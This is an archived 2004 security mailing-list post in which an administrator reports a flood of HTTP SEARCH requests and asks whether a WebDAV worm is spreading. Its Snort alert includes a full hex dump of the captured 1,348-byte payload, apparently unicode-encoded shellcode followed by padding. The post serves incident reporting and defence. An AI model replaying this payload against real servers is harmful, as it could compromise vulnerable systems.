

# WebDav Worm?

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/incidents/2004-02/0038.html>

---

**From:** Keith T. Morgan (*keith.morgan\_at\_terradon.com*)

**Date:** 02/13/04

Date: Fri, 13 Feb 2004 10:40:01 -0500  
To: <incidents@securityfocus.com>

Maybe this is old news, or maybe it's scanning pattern is just now making it to my netblocks, but we're seeing a massive increase in http connections asking for SEARCH

/AA on most

of our web servers. Each one is preceded by a packet with a 1348 byte payload containing a mix of what appears to be unicode followed by what appears to be psuedo random ascii padding. An example of one of these is included below.

Has anyone else been seeing this type of activity increasing? We've been seeing so much of it that I have to wonder if it's a worm. The volume's a little too high for skr1pt k1dd13 activity, unless there happens to be a whole bunch of them using the same tool in the same manner at the same time.

Generated by ACID v0.9.6b23 on Fri, 13 Feb 2004 10:35:21 -0500

---

-----  
#(3 - 80410) [2004-02-13 10:26:24] [snort/3] (http\\_inspect) U ENCODING

IPv4: 68.159.96.244 -> obfuscated.subnet.x.90  
hlen=5 TOS=0 dlen=1400 ID=60451 flags=0 offset=0 TTL=114  
chksum=46430  
TCP: port=3886 -> dport: 80 flags=\*\*\*A\*\*\*\* seq=1267955380  
ack=1080397795 off=8 res=0 win=65535 urp=0 chksum=27866  
Options:  
#1 - NOP len=0  
#2 - NOP len=0  
#3 - TS len=8 data=0008FB5B00000000  
Payload: length = 1348

000 : 25 75 35 39 35 31 25 75 36 38 34 31 25 75 37 35 %u5951%u6841%u75  
010 : 33 33 25 75 30 30 31 38 25 75 37 35 34 46 25 75 33%u0018%u754F%u  
020 : 37 34 30 35 25 75 34 45 30 33 25 75 34 46 43 33 7405%u4E03%u4FC3  
030 : 25 75 39 30 35 33 25 75 36 36 35 45 25 75 34 45 %u9053%u665E%u4E

## SecurityFocus Incidents: WebDav Worm?

040 : 41 44 25 75 34 46 34 36 25 75 36 36 34 33 25 75 AD%u4F46%u6643%u  
050 : 39 37 33 44 25 75 39 30 36 46 25 75 39 30 35 31 973D%u906F%u9051  
060 : 25 75 37 35 35 39 25 75 35 33 46 30 25 75 35 46 %u7559%u53F0%u5F  
070 : 35 36 25 75 35 37 34 41 25 75 36 36 34 33 25 75 56%u574A%u6643%u  
080 : 35 30 41 44 25 75 36 36 34 33 25 75 34 46 33 44 50AD%u6643%u4F3D  
090 : 25 75 39 30 30 30 25 75 37 34 35 39 25 75 34 45 %u9000%u7459%u4E  
0a0 : 44 39 25 75 36 34 32 43 25 75 35 39 35 30 25 75 D9%u642C%u5950%u  
0b0 : 34 46 34 36 25 75 39 30 34 37 25 75 36 36 34 33 4F46%u9047%u6643  
0c0 : 25 75 35 30 41 44 25 75 35 38 34 42 25 75 36 34 %u50AD%u584B%u64  
0d0 : 32 43 25 75 35 37 34 41 25 75 39 30 35 31 25 75 2C%u574A%u9051%u  
0e0 : 35 46 39 30 25 75 46 46 30 33 25 75 46 46 30 33 5F90%uFF03%uFF03  
0f0 : 25 75 46 46 30 33 25 75 46 46 30 33 25 75 30 33 %uFF03%uFF03%u03  
100 : 39 31 25 75 39 31 43 46 25 75 35 46 39 30 25 75 91%u91CF%u5F90%u  
110 : 39 30 41 41 25 75 37 34 34 31 25 75 39 30 43 41 90AA%u7441%u90CA  
120 : 25 75 39 30 35 31 25 75 37 35 35 39 25 75 34 45 %u9051%u7559%u4E  
130 : 43 34 25 75 36 46 39 37 72 6D 6F 6D 64 64 64 64 C4%u6F97rmomdddd  
140 : 64 64 69 73 6A 68 6E 65 67 64 64 64 64 64 64 ddisjhnegddddddd  
150 : 6C 6F 68 64 64 70 6C 6F 6B 64 65 70 6E 71 6C 6F lohddplokdepnqlo  
160 : 6A 6C 64 6C 6C 6F 73 6B 6A 6E 64 69 69 6D 72 6C jldlloskjndiimrl  
170 : 69 6D 64 64 64 64 64 72 66 73 6D 6C 67 72 70 imdddddrfsmlgrp  
180 : 65 68 67 67 70 64 69 64 6A 6C 66 72 6A 69 6B 6C ehggpdidjlfrijkl  
190 : 6A 69 6A 6C 6A 6C 6A 73 6B 67 6B 68 6A 6C 69 70 jijljlskghjlip  
1a0 : 6B 67 6B 6A 6A 67 6C 6F 71 70 69 64 6A 6E 64 6A kgkjjgloqpidjndj  
1b0 : 6A 6E 64 66 69 64 69 64 6A 6C 64 64 64 64 64 64 jndfididjlddddd  
1c0 : 68 64 69 67 73 73 65 6A 6C 67 73 6C 73 73 6B 68 hdigssejlgslsskh  
1d0 : 66 6D 6C 6F 73 6C 6A 6E 64 64 6C 6F 70 6A 6C 67 fmlosljnddlopjlg  
1e0 : 70 64 65 6C 69 64 6C 6F 69 6C 73 70 69 67 6C 67 pdelidloilspiglg  
1f0 : 70 64 64 68 69 64 69 6B 73 73 69 6A 64 68 69 64 pddhidikssijdhid  
200 : 69 6B 73 73 69 6A 64 6C 69 6C 6C 69 70 64 6B 68 ikssijdlillipdkh  
210 : 64 6D 6C 6F 71 70 67 67 70 64 69 64 69 67 73 73 dmloqpggpdidigss  
220 : 69 6A 64 70 73 73 69 6A 65 64 69 65 69 6A 6C 6F ijdpsijediejlo  
230 : 68 69 67 70 6C 6F 69 68 66 6C 6B 6C 64 67 71 69 higploihflkldgqi  
240 : 69 66 6C 6F 6B 66 66 64 64 67 73 69 67 67 70 6D iflokffddgsiggpm  
250 : 68 6D 68 65 6E 71 64 67 70 69 67 67 71 6F 64 73 hmhenqdgpiggqods  
260 : 6F 72 65 64 67 6E 71 6A 6B 68 64 6C 70 65 70 6F oredgnqjkhdlpepo  
270 : 64 71 64 67 71 6E 68 64 72 6F 73 65 67 6F 65 73 dqdqgnhdrosegoes  
280 : 6B 69 72 6B 69 6E 6C 6F 69 6E 66 68 64 67 71 71 kirkinloinfhdgqq  
290 : 6A 6A 6C 6F 64 70 68 6F 6C 6F 69 6E 65 70 64 67 jjlodpholoinepdg  
2a0 : 71 71 6C 6F 64 68 6C 6F 64 67 70 69 6E 6F 69 72 qqlodhlodgpinoir  
2b0 : 69 6D 70 67 72 6C 68 66 73 73 73 73 73 73 6E 69 impgrlhfsssssni  
2c0 : 65 6B 64 64 6B 70 65 73 6B 6D 64 6E 72 6C 73 6F ekddkpeskmdnrlo  
2d0 : 6D 6B 73 71 64 73 6D 6C 73 72 6C 6E 64 72 72 73 mksqdsmlsrlnrrs  
2e0 : 70 72 72 64 6A 64 64 64 67 66 64 64 64 64 64 64 prrdjdddgfddddd  
2f0 : 64 64 64 64 64 64 68 71 69 6E 6D 64 64 64 64 67 ddddddhqinmdddddg  
300 : 64 64 64 64 64 64 68 64 64 64 64 64 64 73 73 ddddddhddddss  
310 : 73 73 64 64 64 64 6F 6C 64 64 64 64 64 64 64 64 ssdddolddddddd  
320 : 64 64 64 64 64 64 68 64 64 64 64 64 64 64 64 ddddddhddddddd  
330 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd  
340 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd  
350 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd  
360 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 72 6C dddddddddddddrll

SecurityFocus Incidents: WebDav Worm?

370 : 64 64 64 64 64 64 64 72 65 73 6F 6E 64 72 64 64 ddddddresondrdd
380 : 6F 68 64 6D 70 71 66 65 6F 6C 64 65 68 70 70 71 ohdmpqfeoldehppq
390 : 66 65 69 68 6A 6C 6A 6D 6B 67 66 64 6B 64 6B 66 feihjljmkqfdkdkf
3a0 : 6A 73 6A 6B 6B 66 6A 65 6A 71 66 64 6A 67 6A 65 jsjkkfjejqfdjgje
3b0 : 6A 72 6A 72 6A 73 6B 68 66 64 6A 66 6A 69 66 64 jrjrskhfdjffjfd
3c0 : 6B 66 6B 69 6A 72 66 64 6A 6D 6A 72 66 64 68 68 kfkijrfdjmjrfdhh
3d0 : 68 73 69 67 66 64 6A 71 6A 73 6A 68 6A 69 66 72 hsigfdjqsjhjifr
3e0 : 64 71 64 71 64 6E 66 68 64 64 64 64 64 64 64 64 64 dqqdqndfhddddd
3f0 : 64 64 64 64 64 64 6E 69 67 6C 64 69 70 6B 72 65 ddddddngldipkre
400 : 69 6D 6A 6F 6D 68 72 65 69 6D 6A 6F 6D 68 72 65 imjomhreimjomhre
410 : 69 6D 6A 6F 6D 68 6D 6E 68 69 6A 6B 6D 68 72 67 imjomhmnhijkmhrgr
420 : 69 6D 6A 6F 6D 68 6A 66 68 69 6A 69 6D 68 72 67 imjomhjfihjimhrgr
430 : 69 6D 6A 6F 6D 68 6C 72 68 6A 6A 65 6D 68 72 6E imjomhlrhjjemhrn
440 : 69 6D 6A 6F 6D 68 6C 72 68 6A 6A 73 6D 68 72 67 imjomhlrhjjsmhrgr
450 : 69 6D 6A 6F 6D 68 72 65 69 6D 6A 6E 6D 68 6C 6A imjomhreimjnmhlj
460 : 69 6D 6A 6F 6D 68 6A 66 69 65 67 6A 6D 68 72 6C imjomhjfiegjmhrl
470 : 69 6D 6A 6F 6D 68 72 6B 6B 6E 6A 64 6D 68 72 64 imjomhrkknjdmhrd
480 : 69 6D 6A 6F 6D 68 69 66 6A 6D 6A 67 6A 6C 72 65 imjomhifjmjglre
490 : 69 6D 6A 6F 6D 68 64 64 64 64 64 64 64 64 64 64 64 imjomhddddd
4a0 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddd
4b0 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddd
4c0 : 64 64 64 64 64 64 69 64 68 69 64 64 64 64 68 70 dddddd
4d0 : 64 65 64 67 64 64 70 70 73 70 71 64 71 6D 64 64 dedgddppspqdmdd
4e0 : 64 64 64 64 64 64 64 64 64 64 64 64 64 64 72 64 dddddd
4f0 : 64 64 64 73 64 65 64 6F 64 65 66 65 68 73 64 64 ddsdedodefehssd
500 : 67 64 64 64 64 64 64 64 65 64 64 64 64 64 64 64 gddddd
510 : 6D 64 64 64 64 64 6E 64 70 6E 64 64 64 64 64 64 mddddd
520 : 6E 64 64 64 64 64 64 64 71 64 64 64 64 64 64 64 nddddd
530 : 64 64 68 64 64 64 64 64 65 64 64 64 64 64 64 64 ddhddd
540 : 64 66 64 64 dfdd

\*\*\*\*\*

The contents of this email and any attachments are confidential.
It is intended for the named recipient(s) only.
If you have received this email in error please notify the system manager or the
sender immediately and do not disclose the contents to anyone or make copies.

\*\* this message has been scanned for viruses, vandals and malicious content \*\*
\*\*\*\*\*

Free trial: Astaro Security Linux --- firewall with Spam/Virus Protection

Protect your network with the comprehensive security solution that
integrates six applications for ease of use and lower TCO.

Firewall - Virus protection - Spam protection - URL blocking - VPN
- Wireless security.

Download 30-day evaluation at:
http://www.astaro.com/php/contact/securityfocus.php

